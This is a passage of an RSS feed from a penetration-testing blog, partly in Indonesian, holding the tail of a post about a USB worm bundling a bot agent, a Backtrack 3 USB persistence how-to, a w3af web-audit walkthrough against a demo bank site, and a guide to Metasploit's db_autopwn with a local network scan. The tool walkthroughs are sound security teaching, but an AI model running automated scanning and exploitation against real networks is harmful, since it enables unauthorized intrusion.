<p>Maka, ketika ada virus yang masuk ke USB beberapa teman-teman, saya mencoba untuk menganalisa cara kerja virus tersebut dan menemukan sesuatu yang lebih unik dibandingkan virus-virus yang lain. Apa yang unik itu? Ternyata pembuat virus kali ini menggabungkan sebuah bot agent pada virus yang dia buat. Lalu ditambah dengan metode untuk menyembunyikan bot agent ini.</p>
<p>Dilihat dari reaksi antivirus, hanya beberapa antivirus yang merespon keberadaan virus ini (dengan tidak bermaksud membanding-bandingkan kehebatan antivirus) salah duanya yaitu Avast Antivirus dan Avira Antivir. Technical detail untuk membersihkan virus ini akan saya lanjutkan pada versi ke-2.</p>
<p class="scribefire-powered">Powered by <a href="http://www.scribefire.com/">ScribeFire</a>.</p>
<p class="technorati-tags"><a rel="tag" href="http://technorati.com/tag/virus">virus</a>, <a rel="tag" href="http://technorati.com/tag/usb%20worm">usb worm</a></p>
<p align="left"><a class="tt" href="http://twitter.com/home/?status=USB+Worm+attack+%7E+bagian+I+http://bit.ly/bUZXSH" title="Post to Twitter"><img class="nothumb" src="http://tom.postnix.org/wp-content/plugins/tweet-this/icons/tt-twitter-micro3.png" alt="Post to Twitter" style="margin:0;" /></a> <a class="tt" href="http://plurk.com/?status=USB+Worm+attack+%7E+bagian+I+http://bit.ly/bUZXSH" title="Post to Plurk"><img class="nothumb" src="http://tom.postnix.org/wp-content/plugins/tweet-this/icons/tt-plurk-micro3.png" alt="Post to Plurk" style="margin:0 0 0 2px;" /></a> <a class="tt" href="http://delicious.com/post?url=http://tom.postnix.org/2008/12/usb-worm-attack/&amp;title=USB+Worm+attack+%7E+bagian+I" title="Post to Delicious"><img class="nothumb" src="http://tom.postnix.org/wp-content/plugins/tweet-this/icons/tt-delicious-micro3.png" alt="Post to Delicious" style="margin:0 0 0 2px;" /></a> <a class="tt" href="http://www.facebook.com/share.php?u=http://tom.postnix.org/2008/12/usb-worm-attack/&amp;t=USB+Worm+attack+%7E+bagian+I" title="Post to Facebook"><img class="nothumb" src="http://tom.postnix.org/wp-content/plugins/tweet-this/icons/tt-facebook-micro3.png" alt="Post to Facebook" style="margin:0 0 0 2px;" /></a> <a class="tt" href="http://stumbleupon.com/submit?url=http://tom.postnix.org/2008/12/usb-worm-attack/&amp;title=USB+Worm+attack+%7E+bagian+I" title="Post to StumbleUpon"><img class="nothumb" src="http://tom.postnix.org/wp-content/plugins/tweet-this/icons/tt-su-micro3.png" alt="Post to StumbleUpon" style="margin:0 0 0 2px;" /></a></p>]]></content:encoded>
			<wfw:commentRss>http://tom.postnix.org/2008/12/usb-worm-attack/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>How-to: Backtrack 3 USB save changes</title>
		<link>http://tom.postnix.org/2008/09/how-to-backtrack-3-usb-save-changes/?utm_source=rss&amp;utm_medium=rss&amp;utm_campaign=how-to-backtrack-3-usb-save-changes</link>
		<comments>http://tom.postnix.org/2008/09/how-to-backtrack-3-usb-save-changes/#comments</comments>
		<pubDate>Sun, 14 Sep 2008 06:42:18 +0000</pubDate>
		<dc:creator>t0m</dc:creator>
				<category><![CDATA[Pentest]]></category>
		<category><![CDATA[Research]]></category>
		<category><![CDATA[backtrack 3]]></category>

		<guid isPermaLink="false">http://tom.postnix.org/?p=135</guid>
		<description><![CDATA[In Backtrack 3 new release,]]></description>
			<content:encoded><![CDATA[<p>In Backtrack 3 new release, the developer of Backtrack 3 includes USB version to make an easy mobility pentesting. I really enjoy this version because it&#8217;s so mobile, you don&#8217;t need to resize your PC/laptop hard drive, just download the USB version of Backtrack 3 <a title="Backtrack Download" href="http://www.remote-exploit.org/backtrack_download.html" target="_blank">here</a>, and extract them to your pendrive or flash drive or usb drive or whatever.</p>
<p>This version gives us some options in boot screen, whether we want to boot into a standard Backtrack or a Compiz version of Backtrack (*shocked*) with your own risk. I prefer choose the default and standard Backtrack configuration than Compiz, because it&#8217;s still experimental.</p>
<p><span id="more-135"></span>Now, when we started to pentest something and later we want to use the data that has been collected within the pentest, you should choose BT3 Graphics mode with Persistent Changes to save all of your changed configurations.</p>
<p>Since i often use this option, and it&#8217;s very annoying, i prefer make some changes to the boot screen configurations. I edited the syslinux.cfg, and copy the BT save changes option to my own boot option. Of course, i commented the experimental boot until it stable on next release <img src='http://tom.postnix.org/wp-includes/images/smilies/icon_biggrin.gif' alt=':D' class='wp-smiley' /> </p>
<p>This what i&#8217;ve done (assume /dev/sdb as my pendrive)</p>
<ol>
<li>Make sure you have a large disk space on your pendrive.</li>
<li>Split your pendrive into 2 partitions, the 1st is for your BT3 files, and the 2nd is for your changes. I have 4 GB pendrive, so i made 2 partitions with 1500MB for BT3 files (with FAT32 FS) and the rest of disk space went to another partition with Ext2 FS.</li>
<li>Format it using mkfs (e.g. mkfs.vfat /dev/sdb1; mkfs.ext2 /dev/sdb2)</li>
<li>Mount it (e.g. mount /dev/sdb1 /mnt/sdb1;mount /dev/sdb2 /mnt/sdb2)</li>
<li>Copy all BT3 files to our new FAT32 partition (e.g. cp -r /path/to/your/extracted/bt3-usb/ /mnt/sdb1). You should now have two directory called BT3 and boot in /mnt/sdb1.</li>
<li>Go to your new mounted BT3 directory (/mnt/sdb1), and edit <strong>syslinux.cfg</strong> on /boot/syslinux/</li>
<li>Find this line: <em>APPEND vga=0&#215;317 initrd=/boot/initrd.gz ramdisk_size=6666 root=/dev/ram0 rw changes=/changes/slaxsave.dat autoexec=xconf;kdm</em> (in <strong>MENU LABEL BT3 Graphics mode with Persistent Changes</strong>). Take a look at <strong>changes=/changes/slaxsave.dat</strong>, this is an option to save all your changes to a file called <strong>slaxsave.dat</strong>. Now we&#8217;re going to make some changes in this boot screen.</li>
<li>Remember when i said that i prefer to use the default Xwindow configuration than Compiz experimental configuration? Now we will edit the default configuration of Backtrack 3 boot in syslinux.cfg. Find this line: <em>APPEND vga=0&#215;317  initrd=/boot/initrd.gz ramdisk_size=6666 root=/dev/ram0 rw autoexec=xconf;kdm </em>(in <strong>MENU LABEL BT3 Graphics mode (KDE)</strong>), now insert <strong>changes=/dev/sdb2. </strong>Our new lines should be<em> APPEND vga=0&#215;317  initrd=/boot/initrd.gz ramdisk_size=6666 root=/dev/ram0 rw <strong>changes=/dev/sdb2 </strong>autoexec=xconf;kdm. </em>Don&#8217;t forget to commented the experimental boot option because we&#8217;re not gonna use it. After that, save the configuration.</li>
<li>Next we will make a directory called changes on /mnt/sdb2 (e.g. mkdir changes /mnt/sdb2). Because all changes will be saved there.</li>
<li>Reboot..</li>
<li>Boot normally via USB Drive and wait for Backtrack 3 boot prompted.</li>
<li>Press TAB to make sure our configuration loaded. You should see our edited lines there, next..boot into our new <strong>BT3 Graphics mode (KDE)</strong>.</li>
<li>Let it boot the kernel, extract some lzm, and finally load the desktop (May the sauce be with you <img src='http://tom.postnix.org/wp-includes/images/smilies/icon_razz.gif' alt=':P' class='wp-smiley' /> )</li>
<li>Go <a title="Nessus on Backtrack 3" href="http://tom.postnix.org/?p=116" target="_blank">setup Nessus</a> to make some changes on this Backtrack, and reboot. Please check whether your configurations is saved or not. If saved, you should see a mirror of BT3 root partition on /mnt/sdb2/changes/</li>
<li>Good luck and happy mobile pentesting ^^</li>
</ol>
<p>UPDATED:</p>
<p>2008-10-10</p>
<p><a title="Postnix pastebin for syslinux.cfg" href="http://postnix.pastebin.com/fa42419f" target="_blank">Here is my syslinux.cfg</a>, this should be in /mnt/sdb1/boot/syslinux/. You may compare from the default.</p>
<p>Thx to <a href="http://blog.dixo.net/about/" target="_blank">Paul Dixon</a> for <a title="Pastebin - Collaborative debugging tool" href="http://pastebin.com" target="_blank">pastebin.com</a></p>
<p align="left"><a class="tt" href="http://twitter.com/home/?status=How-to%3A+Backtrack+3+USB+save+changes+http://bit.ly/cMw3We" title="Post to Twitter"><img class="nothumb" src="http://tom.postnix.org/wp-content/plugins/tweet-this/icons/tt-twitter-micro3.png" alt="Post to Twitter" style="margin:0;" /></a> <a class="tt" href="http://plurk.com/?status=How-to%3A+Backtrack+3+USB+save+changes+http://bit.ly/cMw3We" title="Post to Plurk"><img class="nothumb" src="http://tom.postnix.org/wp-content/plugins/tweet-this/icons/tt-plurk-micro3.png" alt="Post to Plurk" style="margin:0 0 0 2px;" /></a> <a class="tt" href="http://delicious.com/post?url=http://tom.postnix.org/2008/09/how-to-backtrack-3-usb-save-changes/&amp;title=How-to%3A+Backtrack+3+USB+save+changes" title="Post to Delicious"><img class="nothumb" src="http://tom.postnix.org/wp-content/plugins/tweet-this/icons/tt-delicious-micro3.png" alt="Post to Delicious" style="margin:0 0 0 2px;" /></a> <a class="tt" href="http://www.facebook.com/share.php?u=http://tom.postnix.org/2008/09/how-to-backtrack-3-usb-save-changes/&amp;t=How-to%3A+Backtrack+3+USB+save+changes" title="Post to Facebook"><img class="nothumb" src="http://tom.postnix.org/wp-content/plugins/tweet-this/icons/tt-facebook-micro3.png" alt="Post to Facebook" style="margin:0 0 0 2px;" /></a> <a class="tt" href="http://stumbleupon.com/submit?url=http://tom.postnix.org/2008/09/how-to-backtrack-3-usb-save-changes/&amp;title=How-to%3A+Backtrack+3+USB+save+changes" title="Post to StumbleUpon"><img class="nothumb" src="http://tom.postnix.org/wp-content/plugins/tweet-this/icons/tt-su-micro3.png" alt="Post to StumbleUpon" style="margin:0 0 0 2px;" /></a></p>]]></content:encoded>
			<wfw:commentRss>http://tom.postnix.org/2008/09/how-to-backtrack-3-usb-save-changes/feed/</wfw:commentRss>
		<slash:comments>5</slash:comments>
		</item>
		<item>
		<title>Audit website dengan w3af</title>
		<link>http://tom.postnix.org/2008/09/audit-website-dengan-w3af/?utm_source=rss&amp;utm_medium=rss&amp;utm_campaign=audit-website-dengan-w3af</link>
		<comments>http://tom.postnix.org/2008/09/audit-website-dengan-w3af/#comments</comments>
		<pubDate>Wed, 10 Sep 2008 19:23:49 +0000</pubDate>
		<dc:creator>t0m</dc:creator>
				<category><![CDATA[Pentest]]></category>
		<category><![CDATA[Research]]></category>
		<category><![CDATA[w3af]]></category>
		<category><![CDATA[web audit]]></category>

		<guid isPermaLink="false">http://tom.postnix.org/?p=124</guid>
		<description><![CDATA[Overview w3af (Web Application Attack]]></description>
			<content:encoded><![CDATA[<p><strong>Overview</strong></p>
<p><a title="w3af - Web Application Attack and Audit Framework " href="http://w3af.sourceforge.net/" target="_blank">w3af</a> (Web Application Attack and Audit Framework) hampir mirip dengan <a href="http://en.wikipedia.org/wiki/Metasploit" target="_blank">metasploit</a>, bedanya hanya pada objek yang dikerjakan. w3af fokus pada bagian aplikasi web, sedangkan metasploit lebih ke sistem operasi secara keseluruhan. w3af gratis dan opensource, terdiri dari beberapa bagian plugin untuk serangan yaitu mangle, grep,  discovery, audit, evasion, dan bruteforce.</p>
<p><span id="more-124"></span><strong>Persiapan</strong></p>
<p>Untuk persiapan menggunakan w3af, banyak program berbasis python yang harus diinstal seperti python-soappy, python-pyopenssl, dll. Saya sendiri menginstallnya di <a title="Linux Mint - From Freedom Came Elegance" href="http://www.linuxmint.com" target="_blank">Linux Mint</a> 5.0 yang berbasis <a title="Ubuntu.com" href="http://www.ubuntu.com" target="_blank">Ubuntu</a>, sehingga sedikit tidak merepotkan (karena keluarga <a href="http://en.wikipedia.org/wiki/Debian" target="_blank">Debian</a> yang memudahkan semua perkara instalasi dan dependensi paket). Panduan instalasi terdapat pada situs w3af yang berbasis <a title="Sourceforge" href="http://www.sf.net" target="_blank">sourceforge</a>.</p>
<p>Ketika semuanya sudah terinstall, bisa segera dimulai:</p>
<p>$ ./w3af<br />
w3af&gt;&gt;&gt;</p>
<p>Gunakan perintah <strong>‘help’ </strong>untuk melihat bantuan (wajib):</p>
<p>w3af&gt;&gt;&gt; help<br />
The following commands are available:<br />
help                You are here. help [command] prints more specific help.<br />
http-settings       Configure the URL opener.<br />
misc-settings       Configure w3af misc settings.<br />
plugins             Enable, disable and configure plugins.<br />
profiles            List and start scan profiles.<br />
start               Start site analysis.<br />
exploit             Exploit a vulnerability.<br />
tools               Enter the tools section.<br />
target              Set the target URL.<br />
version             Show the w3af version.<br />
exit                Exit w3af.<br />
w3af&gt;&gt;&gt;</p>
<p>w3af berbeda dengan console pada metasploit, saya sendiri pada awalnya bingung namun dengan sedikit pemahaman, akhirnya dapat dimengerti bahwa penggunaan console pada w3af adalah dengan mengetikan setiap list yang muncul pada menu help, untuk kembali ke menu awal tinggal mengetikkan ‘back’. Kita akan mencobanya langsung pada salah satu target.</p>
<p><strong>Konfigurasi:</strong></p>
<p>w3af&gt;&gt;&gt; target<br />
w3af/target&gt;&gt;&gt; help<br />
The following commands are available:<br />
help                You are here. help [command|parameter] prints more specific help.<br />
set                 Set a parameter value.<br />
view                List all configuration parameters and current values.<br />
back                Return to previous menu.<br />
w3af/target&gt;&gt;&gt; set target http://demo.testfire.net<br />
w3af/target&gt;&gt;&gt; view</p>
<p>Target sudah kita set, sekarang plugin untuk auditingnya:</p>
<p>w3af/target&gt;&gt;&gt; back<br />
w3af&gt;&gt;&gt; plugins<br />
w3af/plugins&gt;&gt;&gt; help<br />
The following commands are available:<br />
help                You are here. help [command] prints more specific help.<br />
list                List all available plugins.<br />
bruteforce          Enable and configure bruteforce plugins.<br />
discovery           Enable and configure discovery plugins.<br />
output              Enable and configure output plugins.<br />
mangle              Enable and configure mangle plugins.<br />
audit               Enable and configure audit plugins.<br />
evasion             Enable and configure evasion plugins.<br />
grep                Enable and configure grep plugins.<br />
back                Return to previous menu.<br />
w3af/plugins&gt;&gt;&gt;</p>
<p>w3af membutuhkan sedikitnya tiga buah plugin untuk di load, yaitu discovery, audit, dan output. Untuk melihat isi dari masing-masing plugin , jalankan ‘list’ diikuti pluginnya, misal ‘list audit’ maka akan menghasilkan semua isi dari plugin audit seperti xss, xsrf, sql injection, ldap injection, dll. Mengetikan nama plugin (misalkan audit) akan menghasilkan opsi mana yang telah kita set. Contohnya:</p>
<p>w3af/plugins&gt;&gt;&gt; audit xss,sqli,xpath,remoteFileInclude,blindSqli<br />
w3af/plugins&gt;&gt;&gt;</p>
<p>atau bisa juga dengan..</p>
<p>w3af/plugins&gt;&gt;&gt; audit all</p>
<p>Saya akan melakukan test SQL Injection pada sebuah webserver, website linkage dan crawling, memberi laporan secara realtime serta dalam laporan berbentuk html. Berikut langkah-langkahnya.</p>
<p>w3af/plugins&gt;&gt;&gt; audit sqli<br />
w3af/plugins&gt;&gt;&gt; audit<br />
Enabled audit plugins:<br />
sqli<br />
w3af/plugins&gt;&gt;&gt; discovery webSpider,pykto,hmap<br />
w3af/plugins&gt;&gt;&gt; discovery<br />
Enabled discovery plugins:<br />
webSpider<br />
hmap<br />
pykto<br />
w3af/plugins&gt;&gt;&gt; output console,htmlFile<br />
w3af/plugins&gt;&gt;&gt; output<br />
Enabled output plugins:<br />
htmlFile<br />
console<br />
w3af/plugins&gt;&gt;&gt; output config htmlFile<br />
w3af/plugin/htmlFile&gt;&gt;&gt; view<br />
Parameter           Value               Description<br />
=========           =====               ===========<br />
httpFileName        output-http.txt     File name where this plugin will write HTTP requests and responses<br />
reportDebug         False               True if debug information will be appended to the report.<br />
fileName            report.html         File name where this plugin will write to<br />
w3af/plugin/htmlFile&gt;&gt;&gt;</p>
<p>Saya telah melakukan konfigurasi yang sederhana untuk testing ke webserver menggunakan webSpider untuk crawling direktori dan link, lalu pykto untuk audit web (pykto adalah versi python dari nikto), dan hmap untuk host fingerprinting. Hasilnya ditulis pada file output-http.txt dan report.html.</p>
<p>w3af/plugin/htmlFile&gt;&gt;&gt; back<br />
w3af/plugins&gt;&gt;&gt; back<br />
w3af&gt;&gt;&gt;start</p>
<p>silakan menunggu sampai proses auditing selesai.</p>
<p>w3af&gt;&gt;&gt; start<br />
Auto-enabling plugin: discovery.allowedMethods<br />
Auto-enabling plugin: discovery.serverHeader<br />
The Server header for this HTTP server is: squid/2.6.STABLE5<br />
Server uses 503 instead of HTTP 404 error code.<br />
pykto plugin is using &#8220;squid/2.6.STABLE5&#8243; as the remote server type. This information was obtained by serverHeader plugin.<br />
Error when requesting: http://demo.testfire.net/<br />
Error: Too many retries when trying to get: http://demo.testfire.net/</p>
<p>http://demo.testfire.net/</p>
<p>pykto plugin found a vulnerability at URL: http://demo.testfire.net/modules.php . Vulnerability description: PHP Nuke module allows user names and passwords to be viewed. See http://www.frog-man.org/tutos/PHP-Nuke6.0-Members_List-Your_Account.txt for other SQL exploits in this module. The vulnerability was found in the request with id 2330.<br />
pykto plugin found a vulnerability at URL: http://demo.testfire.net/bank/ . Vulnerability description: This might be interesting&#8230; The vulnerability was found in the request with id 3315.<br />
Hmap web server fingerprint is starting, this may take a while.<br />
hmap: Connection failed to demo.testfire.net:80<br />
New URL found by pykto plugin: http://demo.testfire.net/modules.php<br />
New URL found by pykto plugin: http://demo.testfire.net/bank/</p>
<p>selamat mencoba ^^</p>
<p align="left"><a class="tt" href="http://twitter.com/home/?status=Audit+website+dengan+w3af+http://bit.ly/dcBYQ8" title="Post to Twitter"><img class="nothumb" src="http://tom.postnix.org/wp-content/plugins/tweet-this/icons/tt-twitter-micro3.png" alt="Post to Twitter" style="margin:0;" /></a> <a class="tt" href="http://plurk.com/?status=Audit+website+dengan+w3af+http://bit.ly/dcBYQ8" title="Post to Plurk"><img class="nothumb" src="http://tom.postnix.org/wp-content/plugins/tweet-this/icons/tt-plurk-micro3.png" alt="Post to Plurk" style="margin:0 0 0 2px;" /></a> <a class="tt" href="http://delicious.com/post?url=http://tom.postnix.org/2008/09/audit-website-dengan-w3af/&amp;title=Audit+website+dengan+w3af" title="Post to Delicious"><img class="nothumb" src="http://tom.postnix.org/wp-content/plugins/tweet-this/icons/tt-delicious-micro3.png" alt="Post to Delicious" style="margin:0 0 0 2px;" /></a> <a class="tt" href="http://www.facebook.com/share.php?u=http://tom.postnix.org/2008/09/audit-website-dengan-w3af/&amp;t=Audit+website+dengan+w3af" title="Post to Facebook"><img class="nothumb" src="http://tom.postnix.org/wp-content/plugins/tweet-this/icons/tt-facebook-micro3.png" alt="Post to Facebook" style="margin:0 0 0 2px;" /></a> <a class="tt" href="http://stumbleupon.com/submit?url=http://tom.postnix.org/2008/09/audit-website-dengan-w3af/&amp;title=Audit+website+dengan+w3af" title="Post to StumbleUpon"><img class="nothumb" src="http://tom.postnix.org/wp-content/plugins/tweet-this/icons/tt-su-micro3.png" alt="Post to StumbleUpon" style="margin:0 0 0 2px;" /></a></p>]]></content:encoded>
			<wfw:commentRss>http://tom.postnix.org/2008/09/audit-website-dengan-w3af/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Metasploit Auto Exploit</title>
		<link>http://tom.postnix.org/2007/12/metasploit-auto-exploit/?utm_source=rss&amp;utm_medium=rss&amp;utm_campaign=metasploit-auto-exploit</link>
		<comments>http://tom.postnix.org/2007/12/metasploit-auto-exploit/#comments</comments>
		<pubDate>Sun, 23 Dec 2007 10:03:00 +0000</pubDate>
		<dc:creator>t0m</dc:creator>
				<category><![CDATA[Hacking]]></category>
		<category><![CDATA[Research]]></category>
		<category><![CDATA[metasploit]]></category>

		<guid isPermaLink="false">http://tom.security-1st.net/?p=292</guid>
		<description><![CDATA[Sejak Metasploit Framework versi 3]]></description>
			<content:encoded><![CDATA[<p>Sejak <a href="http://www.metasploit.com/">Metasploit Framework</a> versi 3 dirilis pada awal tahun 2007, <a href="http://en.wikipedia.org/wiki/H._D._Moore">H.D Moore</a> (pembuat Metasploit) melakukan perubahan besar-besaran di tubuh Metasploit versi 3 tersebut. Dengan mengintegrasikannya ke pemrograman Ruby, dengan jelas terlihat bahwa H.D Moore hendak menjadikan Metasploit sebagai framework tool yang tidak bisa dipandang sebelah mata lagi, dan patut disejajarkan dengan tool-tool pentest lainnya yang telah lebih dulu dianggap professional. Apalagi dengan modul tambahan yang powerful, db_autopwn, sebuah modul yang memungkinkan sebuah <span style="font-style: italic;">auto exploiting system</span>.</p>
<p><span class="fullpost">Modul <span style="font-family: courier new;">db_autopwn</span> diperkenalkan pertama kali pada sistem operasi Linux <a href="http://www.remote-exploit.org/backtrack.html">Backtrack 2</a>, dengan alasan bahwa program tersebut cocoknya berada pada sistem operasi yang berbau auditing/pentest.</span></p>
<p><span id="more-96"></span>Pada kesempatan kali ini, saya ingin menunjukkan cara menjalankan modul db_autopwn pada distro Linux selain Backtrack 2, yaitu <a href="http://www.linuxmint.com/rel_daryna.php">Linux Mint 4.0 (Daryna)</a>. Yang saya lakukan adalah sebagai berikut:</p>
<p><span style="text-decoration: underline;">1.Menyiapkan direktori untuk keperluan download.</span></p>
<p><span style="font-family: courier new;">tom@m1abrams:~$  sudo mkdir /pentest/<br />
tom@m1abrams:~$  sudo chown tom:admin /pentest/<br />
tom@m1abrams:~$  cd /pentest</span></p>
<p><span style="text-decoration: underline;">2. Install Subversion</span></p>
<p><span style="font-family: courier new;">tom@m1abrams:/pentest$ sudo apt-get install subversion</span></p>
<p><span style="text-decoration: underline;">3. Install Metasploit dari SVN</span></p>
<p><span style="font-family: courier new;">tom@m1abrams:/pentest$ svn co http://metasploit.com/svn/framework3/trunk/</span></p>
<p><span style="text-decoration: underline;">4. Install Ruby dan semua paket yang berhubungan.</span></p>
<p><span style="font-family: courier new;">tom@m1abrams:/pentest$ sudo apt-get install ruby libruby rdoc libyaml-ruby libzlib-ruby libopenssl-ruby libdl-ruby libreadline-ruby libiconv-ruby rubygems</span></p>
<p><span style="text-decoration: underline;">5.Install Ruby on Rails (jawab &#8216;Y&#8217; untuk semuanya)</span></p>
<p><span style="font-family: courier new;">tom@m1abrams:/pentest$ gem install -v=1.2.3 rails</span></p>
<p><span style="text-decoration: underline;">6. Install libgtk2-ruby, libglade2-ruby, sqlite3, dst..</span></p>
<p><span style="font-family: courier new;">tom@m1abrams:/pentest$ sudo apt-get install libgtk2-ruby libglade2-ruby sqlite3 libsqlite3-ruby1.8 libdbd-sqlite3-ruby1.8</span></p>
<p><span style="text-decoration: underline;">7. Install Nmap</span></p>
<p><span style="font-family: courier new;">tom@m1abrams:/pentest$ sudo apt-get install nmap</span></p>
<p>Ok ! Sampai disini, persiapan selesai. Apabila kita melihat isi dari direktori tempat metasploit yang kita download dari SVN, direktorinya bernama <span style="font-weight: bold;">trunk</span>, lebih mudah apabila kita menggantinya jadi <span style="font-weight: bold;">msf3</span>.</p>
<p><span style="font-family: courier new;">tom@m1abrams:/pentest$ ls<br />
trunk<br />
tom@m1abrams:/pentest$ mv trunk msf3<br />
tom@m1abrams:/pentest$ ls<br />
msf3<br />
tom@m1abrams:/pentest$</span></p>
<p><span style="text-decoration: underline;">8. Silakan masuk ke direktori msf3.</span></p>
<p><span style="font-family: courier new;">tom@m1abrams:/pentest$ cd msf3<br />
tom@m1abrams:/pentest/msf3$ ls<br />
data           lib      msfconsole  msfgui      msfpescan  README<br />
documentation  modules  msfd        msfopcode   msfweb     scripts<br />
external       msfcli   msfencode   msfpayload  plugins    tools<br />
tom@m1abrams:/pentest/msf3$</span></p>
<p><span style="text-decoration: underline;">9. Jalankan msfconsole..</span></p>
<p>tom@m1abrams:/pentest/msf3$ ./msfconsole</p>
<p><span style="font-family: courier new;">=[ msf v3.1-dev</span><br />
<span style="font-family: courier new;">+ -- --=[ 259 exploits - 116 payloads</span><br />
<span style="font-family: courier new;">+ -- --=[ 17 encoders - 6 nops</span><br />
<span style="font-family: courier new;">=[ 44 aux</span></p>
<p><span style="font-family: courier new;">msf &gt;</span></p>
<p><span style="text-decoration: underline;">10. Load modul SQLite3 yang telah kita install dan membuat database <span style="font-style: italic;">pentest</span></span></p>
<p><span style="font-family: courier new;">msf &gt; load db_sqlite3<br />
msf &gt; db_create pentest</span></p>
<p><span style="text-decoration: underline;">11. Untuk melihat perintah-perintah yang tersedia, ada pada menu <span style="font-weight: bold;">help</span></span></p>
<p><span style="font-family: courier new;">Database Backend Commands<br />
=========================</span></p>
<p>Command               Description<br />
-------               -----------<br />
db_add_host           Add one or more hosts to the database<br />
db_add_port           Add a port to host<br />
db_autopwn            Automatically exploit everything<br />
db_hosts              List all hosts in the database<br />
db_import_nessus_nbe  Import a Nessus scan result file (NBE)<br />
db_import_nmap_xml    Import a Nmap scan results file (-oX)<br />
db_nmap               Executes nmap and records the output automatically<br />
db_services           List all services in the database<br />
db_vulns              List all vulnerabilities in the database</p>
<p>SQLite3 Database Commands<br />
=========================</p>
<p>Command        Description<br />
-------        -----------<br />
db_connect     Connect to an existing database ( /path/to/db )<br />
db_create      Create a brand new database ( /path/to/db )<br />
db_destroy     Drop an existing database ( /path/to/db )<br />
db_disconnect  Disconnect from the current database instance</p>
<p><span style="text-decoration: underline;">12. Jalankan db_autopwn untuk melihat menu helpnya.</span></p>
<p><span style="font-family: courier new;">msf&gt; db_autopwn<br />
[*] Usage: db_autopwn [options]<br />
-h         Display this help text<br />
-t         Show all matching exploit modules<br />
-x         Select modules based on vulnerability references<br />
-p         Select modules based on open ports<br />
-e         Launch exploits against all matched targets<br />
-s         Only obtain a single shell per target system (NON-FUNCTIONAL)<br />
-r         Use a reverse connect shell<br />
-b         Use a bind shell on a random port<br />
-I [range] Only exploit hosts inside this range<br />
-X [range] Always exclude hosts inside this range</span></p>
<p><span style="text-decoration: underline;">13. Testing pada jaringan lokal..</span></p>
<p>Saya menjalankan perintah db_nmap [network]</p>
<p><span style="font-family: courier new;">msf &gt; db_nmap 192.168.10.*</span></p>
<p>Starting Nmap 4.20 ( http://insecure.org ) at 2007-12-23 17:57 WIT<br />
Interesting ports on 192.168.10.1:<br />
Not shown: 1693 closed ports<br />
PORT      STATE SERVICE<br />
139/tcp   open  netbios-ssn<br />
445/tcp   open  microsoft-ds</p>
<p>Interesting ports on 192.168.10.5:<br />
Not shown: 1696 closed ports<br />
PORT   STATE SERVICE<br />
22/tcp open  ssh</p>
<p>Interesting ports on 192.168.10.9:<br />
Not shown: 1691 closed ports<br />
PORT     STATE SERVICE<br />
135/tcp  open  msrpc<br />
139/tcp  open  netbios-ssn<br />
445/tcp  open  microsoft-ds<br />
1025/tcp open  NFS-or-IIS<br />
3389/tcp open  ms-term-serv<br />
5000/tcp open  UPnP</p>
<p>Nmap finished: 256 IP addresses (3 hosts up) scanned in 3.147 seconds<br />
msf &gt;</p>
<p>Terlihat bahwa pada jaringan lokal tersebut, terdapat 3 host yang ditemukan oleh <span style="font-weight: bold;">db_nmap</span>. Hasil scanning tersebut dimasukkan dalam tabel-tabel yang telah dibuat oleh <span style="font-weight: bold;">db_sqlite3</span>.</p>
<p><span style="text-decoration: underline;">14. Melihat service yang ditemukan oleh db_nmap.</span></p>
<p><span style="font-family: courier new;">msf &gt; db_services<br />
[*] Service: host=192.168.10.1 port=139 proto=tcp state=up name=netbios-ssn<br />
[*] Service: host=192.168.10.1 port=445 proto=tcp state=up name=microsoft-ds<br />
[*] Service: host=192.168.10.5 port=22 proto=tcp state=up name=ssh<br />
[*] Service: host=192.168.10.9 port=135 proto=tcp state=up name=msrpc<br />
[*] Service: host=192.168.10.9 port=139 proto=tcp state=up name=netbios-ssn<br />
[*] Service: host=192.168.10.9 port=445 proto=tcp state=up name=microsoft-ds<br />
[*] Service: host=192.168.10.9 port=1025 proto=tcp state=up name=NFS-or-IIS<br />
[*] Service: host=192.168.10.9 port=3389 proto=tcp state=up name=ms-term-serv<br />
[*] Service: host=192.168.10.9 port=5000 proto=tcp state=up name=UPnP<br />
msf &gt;</span></p>
<p>Program db_autopwn dibuat secara mengagumkan dengan memanfaatkan database, sehingga melancarkan serangan otomatis bukanlah mustahil.</p>
<p>Referensi:<br />
<a href="http://blog.metasploit.com/2006/09/metasploit-30-automated-exploitation.html">Metasploit 3.0 &#8211; Automated Exploitation</a></p>
<p align="left"><a class="tt" href="http://twitter.com/home/?status=Metasploit+Auto+Exploit+http://bit.ly/ahkVFy" title="Post to Twitter"><img class="nothumb" src="http://tom.postnix.org/wp-content/plugins/tweet-this/icons/tt-twitter-micro3.png" alt="Post to Twitter" style="margin:0;" /></a> <a class="tt" href="http://plurk.com/?status=Metasploit+Auto+Exploit+http://bit.ly/ahkVFy" title="Post to Plurk"><img class="nothumb" src="http://tom.postnix.org/wp-content/plugins/tweet-this/icons/tt-plurk-micro3.png" alt="Post to Plurk" style="margin:0 0 0 2px;" /></a> <a class="tt" href="http://delicious.com/post?url=http://tom.postnix.org/2007/12/metasploit-auto-exploit/&amp;title=Metasploit+Auto+Exploit" title="Post to Delicious"><img class="nothumb" src="http://tom.postnix.org/wp-content/plugins/tweet-this/icons/tt-delicious-micro3.png" alt="Post to Delicious" style="margin:0 0 0 2px;" /></a> <a class="tt" href="http://www.facebook.com/share.php?u=http://tom.postnix.org/2007/12/metasploit-auto-exploit/&amp;t=Metasploit+Auto+Exploit" title="Post to Facebook"><img class="nothumb" src="http://tom.postnix.org/wp-content/plugins/tweet-this/icons/tt-facebook-micro3.png" alt="Post to Facebook" style="margin:0 0 0 2px;" /></a> <a class="tt" href="http://stumbleupon.com/submit?url=http://tom.postnix.org/2007/12/metasploit-auto-exploit/&amp;title=Metasploit+Auto+Exploit" title="Post to StumbleUpon"><img class="nothumb" src="http://tom.postnix.org/wp-content/plugins/tweet-this/icons/tt-su-micro3.png" alt="Post to StumbleUpon" style="margin:0 0 0 2px;" /></a></p>]]></content:encoded>
			<wfw:commentRss>http://tom.postnix.org/2007/12/metasploit-auto-exploit/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
	</channel>
</rss>
